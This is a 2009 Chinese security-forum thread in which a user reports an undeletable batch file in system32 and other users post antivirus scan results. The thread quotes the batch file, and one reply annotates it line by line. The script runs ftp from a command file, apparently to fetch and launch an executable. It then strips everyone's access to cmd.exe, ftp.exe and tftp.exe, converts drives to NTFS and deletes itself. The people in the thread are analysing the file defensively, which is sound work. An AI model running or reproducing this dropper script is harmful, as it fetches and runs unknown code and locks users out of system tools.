C盘SYSTEM32下面创建的.怎么也删除不掉,卡巴未报

卡粪

中招了.C盘system32下面出了一个批处理文件,内容如下:
ftp -s:v6XXaks8.sys
start C:\v6XXaks8.exe
start C:\v6XXaks8.exe
del v6XXaks8.sys
cacls.exe C:\WINDOWS\system32\cmd.exe /e /d everyone
cacls.exe C:\WINDOWS\system32\ftp.exe /e /d everyone
cacls.exe C:\WINDOWS\system32\tftp.exe /e /d everyone
convert C: /FS:NTFS
convert D: /FS:NTFS
del %0

幸福的猪猪

kaba miss， to kill ！

Hello,


v6XXaks8.EXE

No malicious code was found in this file.

kaba 回信说没有恶意行为，我在沙盘运行，貌似不能运行...

我个人认为v6XXaks8.sys更可疑一些！楼主可以到病毒救援区，发系统扫描报告，那里会有人帮你解答的！

[ 本帖最后由 幸福的猪猪 于 2009-3-22 11:29 编辑 ]

卡粪

那个批处理是个什么意思啊?是不是我的每个盘都中了招啊?

Palkia

to rs

saga3721

File ID  Filename Size (Byte) Result
25297308  v6XXaks8.rar 6.92 KB OK

A listing of files contained inside archives alongside their results can be found below:

File ID  Filename Size (Byte) Result
206786  v6XXaks8.EXE  15 KB  KNOWN CLEAN

kingsheet

卡巴不报

qianwenxiang

ftp -s:v6XXaks8.sys
::  -s:filename    Specifies a text file containing FTP commands; the
::                 commands will automatically run after FTP starts.
:: -s:文件名 指定包含FTP命令的文档（命令应该在v6xxaks8.sys这儿）
start C:\v6XXaks8.exe
start C:\v6XXaks8.exe
::启动C:\v6XXaks8.exe
del v6XXaks8.sys
::删除v6xxaks8.sys
cacls.exe C:\WINDOWS\system32\cmd.exe /e /d everyone
cacls.exe C:\WINDOWS\system32\ftp.exe /e /d everyone
cacls.exe C:\WINDOWS\system32\tftp.exe /e /d everyone
::设置ftp权限为禁止
convert C: /FS:NTFS
convert D: /FS:NTFS
::转换C: D:为NTFS格式
del %0
::删除自己

v6XXaks8.exe是Task Manager，真正的病毒应该不是这个

tgzw1680

没发现什么动作

揍敌客

ik found nothing

BING126

McAfee miss